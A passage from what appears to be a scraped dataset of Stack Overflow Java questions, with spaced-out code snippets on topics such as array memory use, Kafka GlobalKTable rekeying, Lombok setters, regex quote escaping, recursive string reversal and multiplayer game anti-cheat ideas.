needs 3 bytes per char , instead of 2 bytes as documentation suggests ? Also when I similarly create array of long it seems to need 12 bytes per long , instead of 8 , with int it needs 6 bytes instead of 4 . Generally it looks like it needs array_size * element_size * 1.5 Compiling with - javac \com\som\package\xmlfun\\*javaRunning with - java -Xmx151M -cp . com.some.package.xmlfun.Main",package com.some.package.xmlfun ; public class Main { public static void main ( String [ ] args ) { char [ ] chars = new char [ 50 * 1024 * 1024 ] ; } },Java char array seems to need more than 2 bytes per char +Java,"Suppose I have created secondary indexes on bin1 and bin2.And I query using Java client as : This works . But if I add another filter : It does n't seem to have any effect on the output.So is multiple filters supported currently by Aerospike Java Client ? If so , how ?","Statement stmt = new Statement ( ) ; stmt.setNamespace ( `` test '' ) ; stmt.setSetName ( `` myDemoSet '' ) ; stmt.setBinNames ( `` bin1 '' , `` bin2 '' , `` bin3 '' , `` bin4 '' , `` bin5 '' ) ; stmt.setFilters ( Filter.equal ( `` bin1 '' , Value.get ( `` sherlock '' ) ) ) ; RecordSet rs = null ; try { rs = client.query ( null , stmt ) ; } catch ( AerospikeException e ) { e.printStackTrace ( ) ; } stmt.setFilters ( Filter.equal ( `` bin1 '' , Value.get ( `` sherlock '' ) ) , Filter.equal ( `` bin2 '' , Value.get ( `` stackoverflow '' ) ) ) ;",Aerospike : Does Java Client support mulitple filters on secondary indexes ? +Java,"I am new to programming so please go easy on me , I have been messing around with a simple RSS Reader , trying to get the link to the artice to open in a webview when the user clicks on the article.I have found the string that controls and stores the link but when I try to print the link in the toast the link appears but with the whole article publishing date ect ... how can I get the link to print on it own and what commands do I need to use to pass the link to the webview once I have isolated it , here is some of the code I haveRSSActivityArticle.classRSS HandlerRssListAdapter","public class RssActivity extends ListActivity { private RssListAdapter adapter ; /** Called when the activity is first created . */ @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; List < JSONObject > jobs = new ArrayList < JSONObject > ( ) ; try { jobs = RssReader.getLatestRssFeed ( ) ; } catch ( Exception e ) { Log.e ( `` RSS ERROR '' , `` Error loading RSS Feed Stream > > `` + e.getMessage ( ) + `` // '' + e.toString ( ) ) ; } adapter = new RssListAdapter ( this , jobs ) ; setListAdapter ( adapter ) ; } protected void onListItemClick ( ListView l , View v , int position , long id ) { super.onListItemClick ( l , v , position , id ) ; // Get the item that was clicked Object o = this.getListAdapter ( ) .getItem ( position ) ; adapter.getItem ( position ) .toString ( ) ; String link = o.toString ( ) ; Toast.makeText ( this , `` You selected : `` + link , Toast.LENGTH_LONG ) .show ( ) ; } } public class Article { private long articleId ; private long feedId ; private String title ; private String description ; private String pubDate ; private URL url ; private String encodedContent ; private String link ; public void setArticleId ( long articleId ) { this.articleId = articleId ; } /** * @ return the feedId */ public long getFeedId ( ) { return feedId ; } /** * @ param feedId the feedId to set */ public void setFeedId ( long feedId ) { this.feedId = feedId ; } public String getLink ( ) { return link ; } /** * @ param title the title to set */ public void setLink ( String link ) { this.link = link ; } /** * @ return the title */ public String getTitle ( ) { return title ; } /** * @ param title the title to set */ public void setTitle ( String title ) { this.title = title ; } /** * @ return the url */ public URL getUrl ( ) { return url ; } /** * @ param url the url to set */ public void setUrl ( URL url ) { this.url = url ; } /** * @ param description the description to set */ public void setDescription ( String description ) { this.description = description ; //parse description for any image or video links if ( description.contains ( `` < img `` ) ) { String img = description.substring ( description.indexOf ( `` < img `` ) ) ; String cleanUp = img.substring ( 0 , img.indexOf ( `` > '' ) +1 ) ; int indexOf = img.indexOf ( `` ' '' ) ; if ( indexOf==-1 ) { } this.description = this.description.replace ( cleanUp , `` '' ) ; } } /** * @ return the description */ public String getDescription ( ) { return description ; } /** * @ param pubDate the pubDate to set */ public void setPubDate ( String pubDate ) { this.pubDate = pubDate ; } /** * @ return the pubDate */ public String getPubDate ( ) { return pubDate ; } /** * @ param encodedContent the encodedContent to set */ public void setEncodedContent ( String encodedContent ) { this.encodedContent = encodedContent ; } /** * @ return the encodedContent */ public String getEncodedContent ( ) { return encodedContent ; } } public class RSSHandler extends DefaultHandler { // Feed and Article objects to use for temporary storage private Article currentArticle = new Article ( ) ; private List < Article > articleList = new ArrayList < Article > ( ) ; // Number of articles added so far private int articlesAdded = 0 ; // Number of articles to download private static final int ARTICLES_LIMIT = 15 ; //Current characters being accumulated StringBuffer chars = new StringBuffer ( ) ; public void startElement ( String uri , String localName , String qName , Attributes atts ) { chars = new StringBuffer ( ) ; } public void endElement ( String uri , String localName , String qName ) throws SAXException { if ( localName.equalsIgnoreCase ( `` title '' ) ) { Log.d ( `` LOGGING RSS XML '' , `` Setting article title : `` + chars.toString ( ) ) ; currentArticle.setTitle ( chars.toString ( ) ) ; } else if ( localName.equalsIgnoreCase ( `` description '' ) ) { Log.d ( `` LOGGING RSS XML '' , `` Setting article description : `` + chars.toString ( ) ) ; currentArticle.setDescription ( chars.toString ( ) ) ; } else if ( localName.equalsIgnoreCase ( `` pubDate '' ) ) { Log.d ( `` LOGGING RSS XML '' , `` Setting article published date : `` + chars.toString ( ) ) ; currentArticle.setPubDate ( chars.toString ( ) ) ; } else if ( localName.equalsIgnoreCase ( `` encoded '' ) ) { Log.d ( `` LOGGING RSS XML '' , `` Setting article content : `` + chars.toString ( ) ) ; currentArticle.setEncodedContent ( chars.toString ( ) ) ; } else if ( localName.equalsIgnoreCase ( `` item '' ) ) { } else if ( localName.equalsIgnoreCase ( `` link '' ) ) { Log.d ( `` LOGGING RSS XML '' , `` Setting article link : `` + chars.toString ( ) ) ; currentArticle.setLink ( chars.toString ( ) ) ; try { Log.d ( `` LOGGING RSS XML '' , `` Setting article link url : `` + chars.toString ( ) ) ; currentArticle.setUrl ( new URL ( chars.toString ( ) ) ) ; } catch ( MalformedURLException e ) { Log.e ( `` RSA Error '' , e.getMessage ( ) ) ; } } // Check if looking for article , and if article is complete if ( localName.equalsIgnoreCase ( `` item '' ) ) { articleList.add ( currentArticle ) ; currentArticle = new Article ( ) ; // Lets check if we 've hit our limit on number of articles articlesAdded++ ; if ( articlesAdded > = ARTICLES_LIMIT ) { throw new SAXException ( ) ; } } } public void characters ( char ch [ ] , int start , int length ) { chars.append ( new String ( ch , start , length ) ) ; } public List < Article > getLatestArticles ( String feedUrl ) { URL url = null ; try { SAXParserFactory spf = SAXParserFactory.newInstance ( ) ; SAXParser sp = spf.newSAXParser ( ) ; XMLReader xr = sp.getXMLReader ( ) ; url = new URL ( feedUrl ) ; xr.setContentHandler ( this ) ; xr.parse ( new InputSource ( url.openStream ( ) ) ) ; } catch ( IOException e ) { Log.e ( `` RSS Handler IO '' , e.getMessage ( ) + `` > > `` + e.toString ( ) ) ; } catch ( SAXException e ) { Log.e ( `` RSS Handler SAX '' , e.toString ( ) ) ; } catch ( ParserConfigurationException e ) { Log.e ( `` RSS Handler Parser Config '' , e.toString ( ) ) ; } return articleList ; } } public class RssReader { private final static String BOLD_OPEN = `` < B > '' ; private final static String BOLD_CLOSE = `` < /B > '' ; private final static String BREAK = `` < BR > '' ; private final static String ITALIC_OPEN = `` < I > '' ; private final static String ITALIC_CLOSE = `` < /I > '' ; private final static String SMALL_OPEN = `` < SMALL > '' ; private final static String SMALL_CLOSE = `` < /SMALL > '' ; private final static String WEB_LINK = `` < A > '' ; private final static String WEB_CLOSE = `` < A/ '' ; public static List < JSONObject > getLatestRssFeed ( ) { String feed = `` http : //newsrss.bbc.co.uk/rss/sportonline_uk_edition/football/eng_prem/rss.xml '' ; RSSHandler rh = new RSSHandler ( ) ; List < Article > articles = rh.getLatestArticles ( feed ) ; Log.e ( `` RSS ERROR '' , `` Number of articles `` + articles.size ( ) ) ; return fillData ( articles ) ; } private static List < JSONObject > fillData ( List < Article > articles ) { List < JSONObject > items = new ArrayList < JSONObject > ( ) ; for ( Article article : articles ) { JSONObject current = new JSONObject ( ) ; try { buildJsonObject ( article , current ) ; } catch ( JSONException e ) { Log.e ( `` RSS ERROR '' , `` Error creating JSON Object from RSS feed '' ) ; } items.add ( current ) ; } return items ; } private static void buildJsonObject ( Article article , JSONObject current ) throws JSONException { String link = article.getLink ( ) ; String title = article.getTitle ( ) ; String description = article.getDescription ( ) ; String date = article.getPubDate ( ) ; StringBuffer sb = new StringBuffer ( ) ; sb.append ( BOLD_OPEN ) .append ( title ) .append ( BOLD_CLOSE ) ; sb.append ( BREAK ) ; sb.append ( description ) ; sb.append ( BREAK ) ; sb.append ( SMALL_OPEN ) .append ( ITALIC_OPEN ) .append ( date ) .append ( ITALIC_CLOSE ) .append ( SMALL_CLOSE ) ; sb.append ( BREAK ) ; sb.append ( BREAK ) ; sb.append ( BOLD_OPEN ) .append ( WEB_LINK ) .append ( link ) .append ( BOLD_CLOSE ) .append ( WEB_CLOSE ) ; current.put ( `` link '' , link ) ; current.put ( `` text '' , Html.fromHtml ( sb.toString ( ) ) ) ; } } import java.util.List ; import org.json.JSONException ; import org.json.JSONObject ; import android.app.Activity ; import android.text.Spanned ; import android.view.LayoutInflater ; import android.view.View ; import android.view.ViewGroup ; import android.widget.ArrayAdapter ; import android.widget.TextView ; public class RssListAdapter extends ArrayAdapter < JSONObject > { public RssListAdapter ( Activity activity , List < JSONObject > imageAndTexts ) { super ( activity , 0 , imageAndTexts ) ; } @ Override public View getView ( int position , View convertView , ViewGroup parent ) { Activity activity = ( Activity ) getContext ( ) ; LayoutInflater inflater = activity.getLayoutInflater ( ) ; // Inflate the views from XML View rowView = inflater.inflate ( R.layout.image_text_layout , null ) ; JSONObject jsonImageText = getItem ( position ) ; ////////////////////////////////////////////////////////////////////////////////////////////////////// //The next section we update at runtime the text - as provided by the JSON from our REST call //////////////////////////////////////////////////////////////////////////////////////////////////// TextView textView = ( TextView ) rowView.findViewById ( R.id.job_text ) ; try { Spanned text = ( Spanned ) jsonImageText.get ( `` text '' ) ; textView.setText ( text ) ; } catch ( JSONException e ) { textView.setText ( `` JSON Exception '' ) ; } return rowView ; } }",Isolating a link in RSS Feed +Java,"I have 2 Java projects ( eg p1 and p2 ) and I want to create jar ( using buildr ) that contains both projects and their libs.p2 depends on p1.I tried this , but that give me an error , I think because p2 depends on p1 , because if I have only p1 and libs this works.So how should I create the jar file with p1 , p2 an libs ?","compile.with ( projects ( 'p1 ' ) , removeDups ( project ( 'p1 ' ) .compile.dependencies ) , removeDups ( P2_LIBS ) ) package ( : jar ) .with ( : manifest = > { 'Main-Class ' = > 'com.p2.Main ' } ) compile.dependencies.each do |x| if x package ( : jar ) .merge ( x ) .exclude ( 'META-INF/MANIFEST.MF ' ) endend",buildr create a jar that include libs and other project +Java,"I was trying to test speed of Math.pow ( ) against multiplication `` by hand '' and stumbled upon this error : A fatal error has been detected by the Java Runtime Environment : EXCEPTION_ACCESS_VIOLATION ( 0xc0000005 ) at pc=0x000000005ac46888 , pid=1508 , tid=6016 JRE version : Java ( TM ) SE Runtime Environment ( 8.0_25-b18 ) ( build 1.8.0_25-b18 ) Java VM : Java HotSpot ( TM ) 64-Bit Server VM ( 25.25-b02 mixed mode windows-amd64 compressed oops ) Problematic frame : V [ jvm.dll+0x496888 ] Failed to write core dump . Minidumps are not enabled by default on client versions of WindowsCode generating it : I get that this is really extreme case , but still , this is valid code and the worst thing that could happen should be having Inf in the value , and not JRE crash . Is this really standard behaviour described by oracle or just bug nobody wants to fix just because if you are seeing it , you are really bad person.For the record run with NetBeans 8.0.2UPDATE 1It seems problem is in magnitude of multiplied number.will pass just fine.UPDATE 2Tried to run it from console withand passed just fine , so I assume it must be either issue with this specific JRE or with NetBeans .","long t = System.nanoTime ( ) ; for ( int i = 0 ; i < 10000000 ; i++ ) { double val = i*i*i*i*i /* 256 times *i */ *i*i*i ; sum ^= Double.doubleToLongBits ( val ) ; } System.out.println ( ( System.nanoTime ( ) - t ) / 10000000 ) ; long t = System.nanoTime ( ) ; for ( int j = 0 ; j < 10000000 ; j++ ) { int i = j % 50 ; double val = i*i*i*i*i /* 256 times *i */ *i*i*i ; sum ^= Double.doubleToLongBits ( val ) ; } System.out.println ( ( System.nanoTime ( ) - t ) / 10000000 ) ; java version `` 1.8.0_45 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_45-b15 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.45-b02 , mixed mode )",Java JRE fatal error : too many multiplications +Java,I have an object which has a few arrays as fields . It 's class roughly looks like this : All of the invoice types have a mutual marker interface Invoices . I need to get all of the invoices to invoke another method on them.The problem is that all invoices only have the marker interface in common . The method getCustomerID ( ) is not defined by a mutual interface or class . This is a behaviour I can not change due to a given specification . The code repetition inside the for-each-loop is something that bugs me . I have to do the exact same thing on all invoice objects in the four different arrays . Hence four for-each-loops that unecessary bloat the code . Is there a way that I can write a general ( private ) method ? One idea was : But this would require four instanceof checks because the class Invoice does n't know the method getCusomterId ( ) . Therefore I would gain nothing ; the method would still contain repetitions . I 'm thankful for every possible solution to generalize this problem !,public class Helper { InsuranceInvoices [ ] insuranceInvoices ; InsuranceCollectiveInvoices [ ] insuranceCollectiveInvoices BankInvoices [ ] bankInvoices ; BankCollectiveInvoices [ ] bankCollectiveInvoices ; } Helper helperObject = new Helper ( ) ; // ... for ( InsuranceInvoices invoice : helperObject.getInsuranceInvoices ( ) ) { Integer customerId = invoice.getCustomerId ( ) ; // ... } for ( BankInvoices invoice : helperObject.getBankInvoices ( ) ) { Integer customerId = invoice.getCustomerId ( ) ; // ... } // repeat with all array fields private void generalMethod ( Invoice [ ] invoiceArray ) { // ... },Generalized method to get similar object attributes +Java,In below line if we have single quote ( ' ) then we have to replace it with '|| '' ' but if we have single quote twice ( `` ) then it should be as it is.I tried below piece of code which is not giving me proper output.Code Snippet : Actual Output by above code : Expected Result : Regular expression is replacing child '' s with child '' || '' 's . child '' s should remain as it is .,"static String replaceSingleQuoteOnly = `` ( ' ( ? ! ' ) ' { 0 } ) '' ; String line2 = `` Your Form xyz does n't show the same child '' s name as the name in your account with us . `` ; System.out.println ( line2.replaceAll ( replaceSingleQuoteOnly , `` '|| '' ' '' ) ) ; Your Form xyz doesn'|| '' 't show the same child '' || '' 's name as the name in your account with us . Your Form xyz doesn'|| '' 't show the same child '' s name as the name in your account with us .",Regex to replace ' ( single quote once ) but not `` ( single quote twice ) with '|| '' ' +Java,"For example for this code : This code runs fine now . but , assume we have a empty list in stream and we have tons of operations to the stream . It could get NullPointer exceptions and etc.I find it 's also hard to try-catch for this kind of statement.What 's the right way to handle exception for this ?","List < Class > classes = Stream.of ( `` java.lang.Object '' , `` java.lang.Integer '' , `` java.lang.String '' ) .map ( className - > Class.forName ( className ) ) .collect ( Collectors.toList ( ) ) ;",What 's the right way to check null or check exceptions in a chained statement in Java 8 ? +Java,"I have here two different recursive functions for reversing a string in Java : Given a string of length 5000 , this is the program 's output : Now why is the function with double the function calls ~3x faster ? How should I be structuring my recursive functions for max speed in Java ?","Long ms1 = System.currentTimeMillis ( ) ; String str1 = reverse1 ( str ) ; ms1 = System.currentTimeMillis ( ) - ms1 ; Long ms2 = System.currentTimeMillis ( ) ; String str2 = reverse2 ( str ) ; ms2 = System.currentTimeMillis ( ) - ms2 ; System.out.println ( `` Input : `` + str ) ; System.out.println ( `` Length : `` + str.length ( ) ) ; System.out.println ( `` Reverse 1 : '' ) ; System.out.println ( `` `` + herp + `` function calls '' ) ; System.out.println ( `` `` + ms1 + `` milliseconds '' ) ; System.out.println ( `` Reverse 2 : '' ) ; System.out.println ( `` `` + derp + `` function calls '' ) ; System.out.println ( `` `` + ms2 + `` milliseconds '' ) ; } public static String reverse1 ( String str ) { herp++ ; if ( str.length ( ) == 1 ) return str ; return reverse1 ( str.substring ( str.length ( ) /2 ) ) + reverse1 ( str.substring ( 0 , str.length ( ) /2 ) ) ; } public static String reverse2 ( String str ) { derp++ ; if ( str.length ( ) == 1 ) return str ; return reverse2 ( str.substring ( 1 ) ) + str.charAt ( 0 ) ; } Input : ... Length : 5000Reverse 1 : 9999 function calls 16 millisecondsReverse 2 : 5000 function calls 52 milliseconds",Java Choosing a recursive function +Java,"About the tagsI have tagged this as being a Java and a C++ question . This means I 'm not looking for language-specific answers . I have only tagged C++ and Java because I 'm proficient with them , and will most likely understand your code-samples if they are written in those ( or similar ) languages.What am I looking for ? Pointers and insight on security measures that I should take into consideration when developing software , mainly games , such as the one described below . By security I mean checking and double checking that a user does n't act in a way not intended . This could mean behaviour such as sending his/her updated collection of the most malicious viruses in existance to the server/other clients , or otherwise compromise the user-experience for other players by , for example , hacking.Expected comments and answers Are you asking how to stop people from hacking your game ? This is not by any means my question , as it 's way too broad for this thread . If you however do come across a simple way to win every game ( by cheating ) , then please , tell me . This question is better suited in XI have asked this very question in CodeReview and in Programmers ; in both networks the post was badly received . It was badly received in here as well , to be fair ( referring to the comment by ADTC ) , hence the bounty . After placing the bounty I have rewritten this post to better meet the standards of SO . If , however , you still think this post does n't suit here well , please tell me why . I 've had a hard time determining if this really is better suited in SO or Programmers , so do n't think this is just a dump that I posted here after not thinking about it for a second . To create a connection between two machines , you should use Sockets . Google it.I am not looking for this kind of technical help . I know how to implement the software , and it 's not the first time I 'm doing this . Please look at the actual question I asked.Why am I asking this ? The software in questionI 'm developing a snake-like multiplayer game where players can use their own algorithms to determine the next move of their snake . The players are connected to each other with a client-server connection , that is , one player will act as the host . You can assume that the server code will wait until all players have made their turns until updating the game-state between all the clients.About the gameMy game searches a folder for any compatible .jar files , whose main class extend a particular abstract class . The player can then connect to another player ( s ) over the network by directly connecting to them or by searching a game from a lobby.While playing , each player will use their own algorithm to determine the next move of their snake . The duration of each game may vary a lot , depending on the update rate that has been specified for the game , but most of the time they are fast and will most likely end in less than 30 seconds.I 'm not as far yet as implementing the actual network multiplayer.The template source file for a logic is as follows : So what I 'm planning to do is , from the hosting player 's perspective , to get the next move of a player over the network in a String format ( `` up '' , `` down '' , `` left '' , `` right '' ) , so there wo n't be any security issues on that front . The actual program that each each client uses to determine their next move will only ever run on the respective client 's computer.I hope you are following me so far . Anyway , what I am concerned about right now is any other potholes I may have overlooked . Determining all of those potholes may be a bit too tedious of a task to do , so I wont ask that primarily . Giving me insight on the matter is what I 'm expecting . Ideally I can get a bigger picture from multiple answers by different people.The question that floats on top of the others is that can I prevent any of the clients from using methods on their programs that would compromise the user experience for the other player ( s ) ? Such methods could be for example Thread.sleep ( ) : it would be pretty annoying if a player made his algorithm wait for 10 minutes between each move . For this particular problem I figured I 'd set a time limit for each move , after which the lagging/malicious player will be kicked or assigned a default move so the game can continue normally.Off-note : @ Darinth 's answer reminded me of a very important aspect of the game : user input is allowed , meaning that the next move of the snake can be determined by a human player - that is , the game can be played normally with a keyboard . Additionally , nothing restricts you to choose between a pure AI and a keyboard-only-solution : you can mix them together and , for example , control the snake yourself and let the AI take over when it notices you are driving yourself into a trap.To wrap it upHave I overlooked something big ? I have planned for this to be a small project for me and my friends to kill time with , but I 'm a bit of an enthusiast.Please answer without hesitation , no matter how small your idea is . You can later edit the answer to be more comprehensive , should you think of more points of interest . I will check any answers for edits regularly.Thank you for your time.Relevant ideas I have received from answers or on my ownCompare hash of game-state with all the clients after every move . All but the players with the same hash will be kicked , with the minimum requirement that the host will be kept in the game ( if there are 4 players , out of which 2 players have one hash , and the other 2 players have another hash , the group that does n't include the host will be kicked , etc. ) . I came up with this one , however it 's thanks to @ ToYono , so the credit goes to him.Before the game starts , compare the checksum of each player . All players with differing checksum from the host will be kicked ( or not even let in the game ) . Credit goes to @ ToYono.Randomize any ranked matches . Prevents the effective use of using multiple connections from the same machine to play in the same game . If one player play multiple snakes in one game , he could have one algorithm that tries to play the game legitly , and two algorithms that simply sabotage the other player . Credit goes to @ Surt.User input is allowed . This was designed to be a part of the game from the start , but I forgot to mention it . Credit to @ Darinth for coming up with the possibility and thus reminding me of this important aspect .",package templateimport snake . * ; public class TemplateLogic extends SnakeLogic { @ Override public void onLaunch ( ) { } @ Override public String getMove ( ) { return `` UP '' ; } },Potholes in an automated multiplayer game where players can use their own algorithms +Java,"I want to ReKey a GlobalKTable ( probably while initializing it , as I believe they are read only once created ) .Is this possible ? I have two topics that I am working with in a Spring/Java Kafka Streams app . The first is not compacted , the second is . Both use Avro for their keys and values . The app streams records from the first ( non-compacted ) topic , and attaches additional data from the compacted topic via KStream # leftJoin . The compacted topic has been brought into the app as a GlobalKTable , created via StreamsBuilder # globalTable ( ) and needs to stay this way ( I need every record from all partitions of the topic available in each instance of the app ) .I know there is talk of supporting non primary key joins ( https : //issues.apache.org/jira/browse/KAFKA-3705 ) , but to my knowledge , I ca n't do this yet ...","@ Configuration @ EnableKafkaStreamspublic class StreamsConfig { @ Autowired private MyCustomSerdes serdes ; @ Bean public KStream < AvroKeyOne , AvroValueOne > reKeyJoin ( StreamsBuilder streamsBuilder ) { GlobalKTable < AvroKeyOne , AvroValueOne > globalTable = streamsBuilder.globalTable ( `` topicOne '' , Consumed.with ( serdes.getAvroKeyOne ( ) serdes.getAvroValueOne ( ) ) ) ; KStream < AvroKeyTwo , AvroValueOne > kStream = streamsBuilder.stream ( `` topicTwo '' , Consumed.with ( serdes.getAvroKeyTwo ( ) , serdes.getAvroValueOne ( ) ) ) ; kStream.join ( globalTable , /** * the KeyValueMapper . I need to rekey the Global table as well to the * corresponding String ( which it 's data will have ) if I want this join * to return results */ ( streamKey , streamValue ) - > { return streamKey.getNewStringKey ( ) } , ( /**ValueJoiner Deal**/ ) ) ; } }",Is it possible to ReKey a GlobalKTable ? +Java,"I am a beginner . This might be a silly question . I have an array of really big numbers . I need to find the sum of all those numbers in the array . I defined a BigInteger and initialised it to zero . Now I will traverse the array and add each element to this BigInteger.No compilation error but big value was still zero , the code did n't work . So , I checked it up and learnt BigInteger add method returns the sum . I modified above code.Now this worked fine . My Question : What actually is happening there ? Why did n't the first code update big value.Can I compare this BigInteger.add ( ) with collection.add ( ) More insight is appreciated . Thank you .",BigInteger big = BigInteger.ZERO ; for ( BigInteger b : array ) { big.add ( b ) ; } big = big.add ( b ) ;,Why does `` big = big.add ( .. ) '' need to be used to sum BigIntegers ? +Java,"We can use lombok to generate setter like this : Say for instance I also want an overloaded setter that would take a String : But when I add this overloaded method , lombok thinks that I have manually added a setter and so it chooses not to add one itself.Apparently it looks only at the method name and not the parameters.Is there a way I can force it to add the normal ( that takes an int as parameter ) setter ? Or the only way is to add that normal setter myself ( using IDE setter generator of course ) ? I have a lot of fields and a lot of classes .",@ Data //or @ Setterpublic class Test { int a ; } public void setA ( String aStr ) { //parseInt and set ' a ' },Overload lombok setter +Java,"I can declare the following package with modifiers but it does n't seem to have any effect on anything : So my question is , does adding a modifier before a package decleration do anything and why would it be allowed by the compiler ? Update : Seems to be an issue with the compiler bundled with Eclipse , as others have mentioned this is a compiler error using Sun 's JDK .",private public protected static final package com.stackoverflow.mangodrunk// ... class Whatever { // ... },Why are modifiers allowed for a package when they do n't seem to do anything ? +Java,"Consider this code : This is contrived , but basically Test : :doA ( ) tries to wrap this as a B and have B : :doB ( ) call its super function A.super.doA ( ) . I can call A.super.doA ( ) in a lambda of type B just fine . But I can not figure out the syntax of calling A.super.doA ( ) inside an anonymous B . See the commented out code . Any ideas ?",interface A { default void doA ( ) { System.out.println ( `` a '' ) ; } } interface B { void doB ( ) ; } class Test implements A { @ Override public void doA ( ) { // Works B b = ( ) - > A.super.doA ( ) ; b.doB ( ) ; // Does not compile /* new B ( ) { public void doB ( ) { A.super.doA ( ) ; } } .doB ( ) ; */ } public static void main ( String [ ] args ) { new Test ( ) .doA ( ) ; } },Calling Overridden Default Method from Anonymous Inner Class +Java,"I am debugging a legacy Java application , and the thread dump ( obtained via jstack ) contains some entries like the following : That 's it . No stack trace.What 's going on here ? How do I locate the Java code executing in this thread ?",`` Thread-8 '' prio=10 tid=0x0000000055f2c800 nid=0x49bf runnable [ 0x0000000000000000 ] java.lang.Thread.State : RUNNABLE,How do I interpret at Java thread that is RUNNABLE but with no stack trace ? +Java,Let 's have the following class hierarchy : Why there is a compilation error in the overriden method of MySubclass ? The error message is `` Type mismatch : can not convert from Object to String '' .The interesting thing is that the compilation error dissapears if I define generics class type for MySuperclass in MySubclass definition : Can somebody explain this behavior ? I would consider it to be a Java compiler bug.I 'm using jdk1.6.0_24 .,"public class MyType { } public class MySuperclass < T extends MyType > { protected Map < String , String > myMap = new TreeMap < String , String > ( ) ; protected String myMethod ( String s ) { return myMap.get ( s ) ; } } public class MySubclass extends MySuperclass { @ Override protected String myMethod ( String s ) { return myMap.get ( s ) ; // < -- compilation error } } public class MySubclass extends MySuperclass < MyType > { @ Override protected String myMethod ( String s ) { return myMap.get ( s ) ; } }",Java generics bug ? +Java,"In an example of android code given in a book regarding action bar , the sample given is as the following : How is using curly braces after a semi-colon possible ? There is clearly some concept that I do not understand right here .","MenuItem menu1 = menu.add ( 0 , 0 , 0 , `` Item 1 '' ) ; { menu1.setIcon ( R.drawable.ic_launcher ) ; menu1.setShowAsAction ( MenuItem.SHOW_AS_ACTION_IF_ROOM ) ; }",using { } after semicolon +Java,"In an effort to design components that are as reusable as possible , I got to thinking recently about the possibility of so-called `` adapter annotations . '' By this , I mean the application of the classic Adapter OO pattern to Java annotations . So for example , let 's say I have a unit testing suite that is entirely JUnit-based . I would need to annotate all of my test methods as follows : But what if , after creating a test suite with , say , 1000 test classes , I decide I want to begin unit testing with some brand new super-cool testing framework that requires all test methods to be annotated as follows : Now , in this particular example it might be perfectly feasible to search-n-replace the old annotations for the new ones , but in a practicle application , this would not be a feasible solution.So would it be possible for me `` wrap '' my unit test annotations with something homegrown , like : And then build my own annotation processor that would convert instances of @ HomegrownUnitTestAnnotation to whichever annotation I currently need ( either @ Test or @ SuperCoolUnitTest ( someParam= '' true '' ) ) ? Obviously , this question applies to all annotations , not just those provided by JUnit . I 'm basically asking if it is possible to wrap 3rd party annotations for the sake of reusability/separation of concerns/etc . Thanks in advance !",public class WidgetTest { @ Test public void test_WidgetConstructor ( ) { // ... } } public class WidgetTest { @ SuperCoolUnitTest ( someParam= '' true '' ) public void test_WidgetConstructor ( ) { // ... } } public class WidgetTest { @ HomegrownUnitTestAnnotation public void test_WidgetConstructor ( ) { // ... } },Java Adapter Annotations +Java,"Using the example given for java.util.Formattable ( modified to actually set values in the constructor ) , things seem to work mostly correctly : Runningprints Huge Fruit , Inc. as expected.However , the following does not work : It throws a java.util.MissingFormatArgumentException : The sample uses Formatter.format to add the text , while format is supposed to format a format string . This causes things to break when the text that 's supposed to be appended contains a percent.How should I deal with this in formatTo ? Should I manually write to the formatter 's Appendable ( formatter.out ( ) .append ( text ) , which can throw an IOException somehow ) ? Should I attempt to escape the format string ( something like formatter.format ( text.replace ( `` % '' , '' % % '' ) ) , though that may not be enough ) ? Should I pass a simple format string to the formatter ( formatter.format ( `` % s '' , text ) , but that seems redundant ) ? All of these should work , but what is the correct way semantically ? To clarify , in this hypothetical situation , the parameters given to StockName are user-controlled and can be arbitrary ; I do n't have exact control over them ( and I ca n't disallow input of % ) . However , I am able to edit StockName.formatTo .","import java.nio.CharBuffer ; import java.util.Formatter ; import java.util.Formattable ; import java.util.Locale ; import static java.util.FormattableFlags . * ; public class StockName implements Formattable { private String symbol , companyName , frenchCompanyName ; public StockName ( String symbol , String companyName , String frenchCompanyName ) { this.symbol = symbol ; this.companyName = companyName ; this.frenchCompanyName = frenchCompanyName ; } public void formatTo ( Formatter fmt , int f , int width , int precision ) { StringBuilder sb = new StringBuilder ( ) ; // decide form of name String name = companyName ; if ( fmt.locale ( ) .equals ( Locale.FRANCE ) ) name = frenchCompanyName ; boolean alternate = ( f & ALTERNATE ) == ALTERNATE ; boolean usesymbol = alternate || ( precision ! = -1 & & precision < 10 ) ; String out = ( usesymbol ? symbol : name ) ; // apply precision if ( precision == -1 || out.length ( ) < precision ) { // write it all sb.append ( out ) ; } else { sb.append ( out.substring ( 0 , precision - 1 ) ) .append ( '* ' ) ; } // apply width and justification int len = sb.length ( ) ; if ( len < width ) for ( int i = 0 ; i < width - len ; i++ ) if ( ( f & LEFT_JUSTIFY ) == LEFT_JUSTIFY ) sb.append ( ' ' ) ; else sb.insert ( 0 , ' ' ) ; fmt.format ( sb.toString ( ) ) ; } public String toString ( ) { return String.format ( `` % s - % s '' , symbol , companyName ) ; } } System.out.printf ( `` % s '' , new StockName ( `` HUGE '' , `` Huge Fruit , Inc. '' , `` Fruit Titanesque , Inc. '' ) ) ; System.out.printf ( `` % s '' , new StockName ( `` PERC '' , `` % Company , Inc. '' , `` Fruit Titanesque , Inc. '' ) ) ; Exception in thread `` main '' java.util.MissingFormatArgumentException : Format specifier ' % C ' at java.util.Formatter.format ( Formatter.java:2519 ) at java.util.Formatter.format ( Formatter.java:2455 ) at StockName.formatTo ( FormattableTest.java:44 ) at java.util.Formatter $ FormatSpecifier.printString ( Formatter.java:2879 ) at java.util.Formatter $ FormatSpecifier.print ( Formatter.java:2763 ) at java.util.Formatter.format ( Formatter.java:2520 ) at java.io.PrintStream.format ( PrintStream.java:970 ) at java.io.PrintStream.printf ( PrintStream.java:871 ) at FormattableTest.main ( FormattableTest.java:55 )",Is the sample on java.util.Formattable incorrect ? +Java,"I know there had already been similar discussions on such naming conventions . However , I 'm having problem with plural acronyms.Assuming that I have decided to use CamelCase for acronyms , which of the two is generally more acceptable ? EditI am aware this will invite opinion-based answers , but sometimes when you are in doubt , you just need people to give advises and feedbacks.To add on , the confusing part here is that findAllDvds can imply a new acronym DVDS , and it can be considered confusing .",public List < Disc > findAllDvds ( DiscHolder holder ) { } public List < Disc > findAllDvd ( DiscHolder holder ) { },Java : Naming convention for plural acronyms +Java,"We use non-java tests . Each one of them executes our tool which is written in Java.I 'm trying to use Eclemma for creating the coverage report of the tests . Lets start with one test . We compile the code with build.xml . I would like somehow to create a coverage report for each test and then to merge them into one main report.I found out that Jacoco has CMD interface I could use in order to merge those reports 